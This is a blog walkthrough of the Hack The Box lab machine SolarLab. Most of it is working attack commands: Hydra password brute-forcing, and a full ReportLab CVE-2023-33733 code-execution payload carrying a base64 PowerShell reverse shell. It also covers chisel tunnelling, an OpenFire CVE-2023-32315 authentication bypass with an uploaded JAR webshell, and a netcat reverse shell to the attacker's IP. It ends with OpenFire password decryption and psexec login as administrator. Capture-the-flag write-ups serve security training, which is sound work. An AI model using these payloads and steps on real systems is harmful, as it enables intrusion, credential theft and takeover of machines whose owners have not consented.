HTB: SolarLab
| Vhost | Subdomain | SMB | Username Brute-Forcing | Password Brute-Forcing | ReportLab PDF | Command Injection | OpenFire | Port…
HTB: SolarLab
| Vhost | Subdomain | SMB | Username Brute-Forcing | Password Brute-Forcing | ReportLab PDF | Command Injection | OpenFire | Port Forwarding | OpenFire Password Decryption |

SolarLab
Enumeration

Nmap Scan
sudo nmap 10.129.60.213 -p- -sCV - open -Pn - min-rate=1000 -oN nmap-version
There were three open services on port 80(HTTP), 445(SMB), and 6791(HTTP) on the target. The scan revealed a vhost solarlab.htb and a subdomain report.solarlab.htb.

Hosts File
cat /etc/hosts
In order to access the HTTP pages properly, the vhost and subdomain was added to the /etc/hosts file.

SMB Enumeration — Guest
crackmapexec smb 10.10.11.16 -u 'guest' -p '' --shares
There was an uncommon share named Documents on the target, which was readable as guest.

Share Documents
smbclient //10.10.11.16/Documents -U guest
There was an interesting file named details-file.xlsx in the Documents share.

SMB Get File
get details-file.xlsx
The details-file.xlsx file was downloaded to the Kali machine along with other files in the share.

Details File
The details-file.xlsx file revealed some passwords and usernames for three users of Alexander, Claudia, and Blake.

User Login Error
http://report.solarlab.htb:6791/login
The “User not found.” error message tipped me off the invalid username.

Valid Username
After a bit of trial and error with the username format from the details-file.xlsx file, I found the valid format of first name + initial of the last name, such as AlexanderK.

Wordlist of Username & Password
cat users.txt
cat passwords.txt
I created two word lists using usernames and passwords from the details-file.xlsx file according to the valid format.

Hydra — Blake
hydra -L users.txt -P passwords.txt report.solarlab.htb -s 6791 http-post-form "/login:username=^USER^&password=^PASS^:User authentication error." -V
Hydra found a correct password for BlakeB among the password candidates in passwords.txt.

Login — ReportHub
http://report.solarlab.htb:6791/login
Using the credentials of BlakeB :: ThisCanB3typedeasily1@, I was able to login to the ReportHub page.

Dashboard — ReportHub
http://report.solarlab.htb:6791/dashboard
After the login, I was greeted with the dashboard with four options of Leave Request, Home Office Request, Training Request, and Travel Approval.

Home Office Request
http://report.solarlab.htb:6791/HomeOfficeRequest
Each option was an HTTP form, which can be converted to a PDF file. I tested the Home Office Request option by entering the input values and upload an image as signature. Once clicking the ‘Generate PDF’ button, I obtained the corresponding PDF file.

PDF File — Home Office Request
http://report.solarlab.htb:6791/HomeOfficeRequest
The generated PDF file containing my input values was downloadable.

Exiftool — PDF
exiftool output.pdf
The metadata revealed that the PDF was generated by the ReportLab PDF Library software.

Response — Home Office Request
The intercepted response of Home Office Request said the PDF file was generated by ReportLab.
Initial Access: RCE of ReportLab
ReportLab versions prior to version 3.6.13 were found to be vulnerable to sandbox evasion, specifically within the ‘rl_safe_eval’ function. Exploitation was achieved through the color attribute of HTML tags, which was directly assessed as a Python expression using the eval() function, ultimately leading to remote code execution.
[Source] https://www.opswat.com/blog/analyzing-the-cve-2023-33733-vulnerability-with-metadefender-core

Remote Code Execution — Ping
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('ping -n 10 10.10.14.23') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'"> exploit</font></para>
The ReportLab Python Library to perform the dynamic generation of PDF files from HTML input was vulnerable to Remote Code Execution (CVE-2023–33733). The Home Office address was replaced with the payload containing ping and generated the PDF file.

Ping Traffic
I could catch the ICMP request traffic from the target using WireShark. In conclusion, the payload for RCE worked properly.

Remote Code Execution — Reverse Shell
<para><font color="[[getattr(pow,Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AM - SNIP - BiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">exploit</font></para>
This time, the Base64 encoded reverse shell payload from revshells.com was executed instead of ping.

Reverse Shell — Blake
nc -lnvp 443
whoami
The successful RCE attack returned a reverse shell as the user blake.

USER FLAG
type user.txt
hostname
The* *user.txt *flag was found in the C:\Users\blake\Desktop* folder.
Lateral Movement : Blake → OpenFire

OpenFire
dir
There was the OpenFire program installed at the C:\Program Files folder.

OpenFire — Port 9090
netstat -ant
The default port 9090 and 9091 for OpenFire were in the listening state.

Port Forwarding — Server
./chisel_1.9.1_linux_amd64 server -p 1234 - reverse &
The Chisel server was started on port 1234 of Kali.

Port Forwarding — Client
chisel.exe client 10.10.14.23:1234 R:9090:localhost:9090 &
The Chisel client connected to the server, and all traffic for the admin console of OpenFire for port 9090 on the target was forwarded to port 9090 on the Kali machine.

Authentication Bypass — OpenFire Console
git clone https://github.com/miko550/CVE-2023-32315.git
There is a vulnerability in OpenFire Console to bypass the authentication of Login and get RCE access by upload a malicious .jar plugin file.

Authentication Bypass — Exploit
python3 CVE-2023–32315.py -t http://127.0.0.1:9090
The exploit was executed and returned a newly added username and its password to bypass the authentication.

Login — OpenFire
http://127.0.0.1:9090
Thanks to the port forwarding, the login page was accessible at localhost:9090. I was able to login to the OpenFire Administrator Console using the above credentials.

Upload Plugin — JAR
http://127.0.0.1:9090/plugin-admin.jsp
At the Plugins tab, the malicious openfire-management-tool-plugin.jar file from the GitHub repository was uploaded as a plugin to get RCE access.

Successful Upload — JAR
The plugin upload was successful.

WebShell — Login
http://127.0.0.1:9090/plugins/openfire-managment-tool-plugin/cmd.jsp
At Server tab > server settings > Management tool, I was met with the admin login pane to OpenFire Shell. Upon entering the password of 123, I was able to access a webshell.

WebShell — Reverse Shell
C:\Users\Public\nc.exe -e cmd.exe 10.10.14.23 443
The Netcat binary was already transferred to the target during the previous enumeration as blake. In the webshell, the reverse shell payload using Netcat was executed.

Reverse Shell — OpenFire
nc -lnvp 443
whoami
hostname
I obtained a reverse shell as the user openfire.
Privilege Escalation: OpenFire → Root

OpenFire Script
type openfire.script
According to my online research, the openfire.script is the database, and this database is loaded into memory and is held in memory all the time after the OpenFire starts. In the openfire.script, I found admin’s password hash and the passwordKey.

Password Hash Decryption — OpenFire
java OpenFireDecryptPass becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
The password hash of OpenFire had a weird format, which I could crack with neither John The Ripper nor Hashcat. In the GitHub, I found a decryptor in Java taking the hash and password key as inputs. It could decrypt the password to ‘ThisPasswordShouldDo!@‘.

PSExec
impacket-psexec administrator@10.129.61.40
whoami
hostname
Using the psexec script of Impacket and the password, I was able to login to the target as administrator.

ROOT FLAG
type root.txt
hostname
The root.txt flag was found at the C:\Users\Administrator\Desktop folder of the host SolarLab.
Thank you for reading my write-up.
메타데이터
- post_id
- ef1f8c12d882
- slug
- htb-solarlab-ef1f8c12d882
- url
- https://medium.com/@bluesnow.blue.blue/htb-solarlab-ef1f8c12d882
- canonical_url
- https://medium.com/@bluesnow.blue.blue/htb-solarlab-ef1f8c12d882
- author_url
- https://medium.com/@bluesnow.blue.blue
- status
- ok
- fetched_at
- 2026-09-03 01:57:31